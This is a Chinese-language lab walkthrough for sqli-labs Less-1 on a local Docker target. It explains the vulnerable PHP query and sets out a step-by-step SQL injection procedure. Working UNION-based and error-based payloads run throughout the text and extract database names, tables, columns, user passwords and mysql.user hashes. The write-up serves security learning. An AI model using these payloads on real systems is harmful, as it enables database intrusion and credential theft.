http://192.168.224.1:8887/Less-1/?id=1
http://192.168.224.1:8887/Less-1/?id=2
http://192.168.224.1:8887/Less-1/?id=1+1

执行?id=1+1的结果不是?id=2的结果而是?id=1的结果,说明id这个参数传到数据库中查询的时候是转成字符型查询的。
- 如果数据库字段是字符型 (如VARCHAR),
'1+1'会被当作字符串处理
'1+1'→ 转换失败 → 默认取第一个数字1
'1abc'→ 同样会转为1 - 如果字段是数值型,数据库会尝试将字符串转为数字

docker进入靶机查看less1的php文件,发现数据库查询的语句主要是下面这句话
php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这句SQL语句的含义和安全问题分析:
语句含义
sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1
SELECT * FROM users:从users表中查询所有字段WHERE id='$id':筛选条件,id等于变量$id的值LIMIT 0,1:限制返回结果
LIMIT 0,1 的含义
LIMIT 0,1 是MySQL的分页语法:
- 第一个参数(0):偏移量(offset),表示从第0条记录开始(即第一条)
- 第二个参数(1):返回的记录数量,表示只返回1条记录
所以 LIMIT 0,1 表示:跳过0条记录,返回1条记录,即只返回查询结果的第一条数据。
也可以简写为 LIMIT 1(效果相同)。
SQL注入风险
这段代码存在严重的SQL注入漏洞 ,因为 $id 直接拼接到SQL语句中,没有进行任何过滤或参数化处理。
如果是在安全测试或CTF场景中进行SQL注入测试:
1. 闭合引号
由于查询条件是 id='$id',需要先闭合单引号:
sql
' OR '1'='1
2. 注释后续内容
使用注释符号忽略后面的 LIMIT:
sql
' OR '1'='1' --+
' OR '1'='1' #
3. LIMIT的影响
LIMIT 0,1会限制只返回1条结果- 在联合查询(UNION)时需要注意,可能只显示第一条数据
- 可以通过修改LIMIT参数来获取其他行数据
4. 常见注入payload示例
万能密码
sql
1' OR '1'='1' --+

联合查询
用一个不存在的0显示不会占用空间
sql
0' UNION SELECT 1,2,3 --+

获取数据库信息
sql
0' UNION SELECT 1,database(),version() --+

得到数据库名为 security
获取表名
sql
0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+

看到有四个表,用户配置相关的表一般就是在users表中。

获取列名
sql
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

得到存在username和password两个列名
统计有几个列名有几行数据
sql
0' union select 1,2,count(*) from users --+

与mysql中执行的结果相比

爆全表
sql
0' union select 1,group_concat(username),group_concat(password) from users --+

以冒号形式相连
sql
0' union select 1,2,group_concat(username,':',password) from users --+

分隔符优化更美观
sql
0' union select 1,2,group_concat(username,0x3a,password,0x3c62723e) from users --+
0' union select 1,2,group_concat(id,0x7c,username,0x7c,password,0x7c,0x3c62723e) from users --+
# 分隔符说明
0x3a = :(冒号)
0x7c = |(竖线)
0x2c = ,(逗号)
0x3c62723e = <br>(HTML换行)


注意 :group_concat() 默认最大长度是1024字节,如果数据量大可能被截断。可以通过多次查询或调整 group_concat_max_len 来解决。
报错注入
sql
0' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

【问题】LIMIT注释掉了为什么还要用concat
LIMIT注释掉了为什么还要用concat?为什么直接用0' union SELECT 1,username,password FROM users --+查询显示的还是id=1的内容。

1. 注释符确实注释掉了 LIMIT
php
$id = "0' union select 1,2,3 --+";
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 拼接后:
$sql = "SELECT * FROM users WHERE id='0' union select 1,2,3 --+' LIMIT 0,1";
↑__________↑
这部分被 --+ 注释掉了!
实际执行的SQL是:
sql
SELECT * FROM users WHERE id='0' union select 1,2,3
所以 --+ 确实注释掉了后面的 ' LIMIT 0,1 ,此时UNION 查询没有 LIMIT 限制!
2. 为什么还要用 GROUP_CONCAT
原因是:
php
$row = mysql_fetch_array($result); // 只取了第1行数据!
关键点:
- SQL查询虽然返回了多行结果(因为LIMIT被注释掉了,可以获取全表数据)
- 但
mysql_fetch_array($result)只取第一行 - 后面的代码只显示了
$row['username']和$row['password']
流程图:
SQL执行:
SELECT * FROM users WHERE id='0'
UNION
SELECT 1,username,password FROM users
↓
返回结果集(假设有5行数据):
Row 1: ...
Row 2: ...
Row 3: ...
Row 4: ...
Row 5: ...
↓
mysql_fetch_array($result) ← 只取第1行!
↓
$row['username'] ← 只显示第1行的username
$row['password'] ← 只显示第1行的password
进入靶机的docker环境之间连接数据库执行这两条查询语句就能发现问题的答案。

3. 为什么需要 GROUP_CONCAT
因为:
- SQL层面:LIMIT 被注释掉了,可以查询全表 ✓
- PHP层面:只取了第1行,只显示了2个字段 ✗
所以用 GROUP_CONCAT 的目的是:
sql
0' union select 1,group_concat(username),group_concat(password) from users --+
这样会把所有用户的数据合并成一行:
username字段:admin,user1,user2,user3
password字段:pass1,pass2,pass3,pass4
然后 mysql_fetch_array 虽然只取第1行,但这第1行包含了所有数据!
完整示例对比
不用 GROUP_CONCAT(只能看到1个用户)
sql
0' union select 1,username,password from users --+
返回结果:
Row 1: 1, 'admin', 'admin123'
Row 2: 1, 'user1', 'pass1' ← PHP代码看不到
Row 3: 1, 'user2', 'pass2' ← PHP代码看不到
...
显示:
Your Login name: admin
Your Password: admin123
用 GROUP_CONCAT(能看到所有用户)
sql
0' union select 1,group_concat(username),group_concat(password) from users --+
返回结果:
Row 1: 1, 'admin,user1,user2,user3', 'admin123,pass1,pass2,pass3'
显示:
Your Login name: admin,user1,user2,user3
Your Password: admin123,pass1,pass2,pass3
总结
- ✅
--+确实注释掉了 LIMIT,SQL可以查询全表 - ✅ 用
GROUP_CONCAT是因为PHP代码只显示第1行的2个字段 - ✅ 网页只给了2个显示位置(username 和 password)
非常好的问题!这涉及到MySQL的核心机制。让我详细解释:
【问题】information_schema 是什么
1. MySQL的系统数据库
information_schema 是MySQL 内置的系统数据库 ,存储了所有数据库的元数据(metadata),包括:
- 所有数据库名
- 所有表名
- 所有列名
- 表结构、索引、权限等信息
类比理解:
- 普通数据库(如 security)= 图书馆的书籍
- information_schema = 图书馆的目录系统
2. 是固定的吗?
✅ 是的! information_schema 是MySQL的标准系统库,名字固定,结构固定。
MySQL有几个系统数据库:
sql
information_schema -- 元数据信息(最常用于注入)
mysql -- 用户权限信息
performance_schema -- 性能监控
sys -- 系统诊断(MySQL 5.7+)
为什么能爆表名和列名
原理解析
information_schema 包含很多表,其中最重要的几个:
1. TABLES 表 - 存储所有表的信息
sql
SELECT * FROM information_schema.TABLES;

关键字段:
TABLE_SCHEMA- 数据库名(如 'security')TABLE_NAME- 表名(如 'users'、'emails')TABLE_TYPE- 表类型ENGINE- 存储引擎
2. COLUMNS 表 - 存储所有列的信息
sql
SELECT * FROM information_schema.COLUMNS;

关键字段:
TABLE_SCHEMA- 数据库名TABLE_NAME- 表名COLUMN_NAME- 列名(如 'username', 'password')DATA_TYPE- 数据类型COLUMN_KEY- 是否主键
SQL语句详解
语句1:爆出当前数据库的所有表名
sql
0' UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables
WHERE table_schema=database() --+
逐步解析:
sql
group_concat(table_name) -- 把所有表名合并成一个字符串
FROM information_schema.tables -- 从系统表中查询
WHERE table_schema=database() -- database() 返回当前数据库名(如 'security')
database() 只查询当前数据库,在哪个页面查就是那个页面的数据库,非常人性化,如果库名不知道也没关系。
返回结果示例:
emails,referers,uagents,users
语句2:爆出指定表的所有列名
sql
0' union select 1,2,group_concat(column_name)
from information_schema.columns
where table_name='users' and table_schema='security' --+
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
这里如果不知道库名是security用database() 也是一样的

逐步解析:
sql
FROM information_schema.columns -- 从列信息表查询
WHERE table_name='users' -- 指定表名
AND table_schema='security' -- 指定数据库名
group_concat(column_name) -- 合并所有列名
返回结果示例:
id,username,password
information_schema 的其他用途
1. 查询所有数据库名
sql
0' union select 1,2,group_concat(schema_name)
from information_schema.schemata --+
2. 查询指定数据库的所有表
sql
0' union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema='security' --+
3. 查询列的详细信息
sql
0' union select 1,2,group_concat(column_name,'(',data_type,')')
from information_schema.columns
where table_name='users' --+
返回:id(int),username(varchar),password(varchar)
4. 查找包含特定列名的所有表
sql
-- 查找所有包含 'password' 列的表
0' union select 1,2,group_concat(table_name)
from information_schema.columns
where column_name='password' --+
5. 查询表的行数(估算)
sql
0' union select 1,2,table_rows
from information_schema.tables
where table_name='users' --+
6. 查询用户权限
sql
-- 查看当前用户
0' union select 1,2,user() --+
-- 查看所有用户(需要权限)
0' union select 1,2,group_concat(user,':',password)
from mysql.user --+
SQL注入的标准流程
使用 information_schema 的完整注入流程:
sql
-- 第1步:判断注入点和列数
0' order by 3 --+
-- 第2步:确定显示位
0' union select 1,2,3 --+
-- 第3步:查询当前数据库
0' union select 1,database(),3 --+
-- 第4步:查询所有数据库
0' union select 1,group_concat(schema_name),3
from information_schema.schemata --+
-- 第5步:查询当前数据库的所有表
0' union select 1,group_concat(table_name),3
from information_schema.tables
where table_schema=database() --+
-- 第6步:查询指定表的所有列
0' union select 1,group_concat(column_name),3
from information_schema.columns
where table_name='users' --+
-- 第7步:查询数据
0' union select 1,group_concat(username),group_concat(password)
from users --+
其他数据库的等价物
不同数据库有类似的系统表:
MySQL/MariaDB
sql
information_schema
PostgreSQL
sql
information_schema
pg_catalog.pg_tables
SQL Server
sql
information_schema
sys.tables
sys.columns
Oracle
sql
ALL_TABLES
ALL_TAB_COLUMNS
DBA_TABLES (需要DBA权限)
SQLite
sql
sqlite_master -- 存储表结构
总结
✅ information_schema 是MySQL的固定系统数据库
✅ 存储了所有数据库的元数据信息
✅ SQL注入中用来探测数据库结构
✅ 是注入攻击的核心工具
✅ 其他数据库也有类似的系统表
这就是为什么在SQL注入教程中,information_schema 总是必学内容!🎯